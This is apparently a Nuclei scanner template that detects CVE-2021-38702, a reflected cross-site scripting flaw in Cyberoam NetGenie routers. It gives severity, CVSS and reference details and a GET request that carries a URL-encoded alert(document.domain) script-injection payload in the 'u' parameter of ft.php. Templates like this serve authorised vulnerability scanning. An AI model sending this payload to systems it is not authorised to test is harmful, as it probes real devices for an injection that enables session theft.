id: CVE-2021-38702

info:
  name: Cyberoam NetGenie Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 are susceptible to reflected cross-site scripting via the 'u' parameter of ft.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or firmware updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2021/Aug/20
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38702
    - http://www.cyberoamworks.com/NetGenie-Home.asp
    - http://packetstormsecurity.com/files/163859/Cyberoam-NetGenie-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-38702
    cwe-id: CWE-79
    epss-score: 0.06929
    epss-percentile: 0.93279
    cpe: cpe:2.3:o:cyberoamworks:netgenie_c0101b1-20141120-ng11vo_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cyberoamworks
    product: netgenie_c0101b1-20141120-ng11vo_firmware
  tags: cve2021,cve,cyberoam,netgenie,xss,router,seclists,packetstorm,cyberoamworks,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a9ecf5738e59ac2384efa996522a1841023260da36fa6a34d73869c3fcddcede022100d14951dde50905a8c191f5f25a3f2fcf8110b01edaf1b2b15ba6589a9223b911:922c64590222798bb761d5b6d8e72950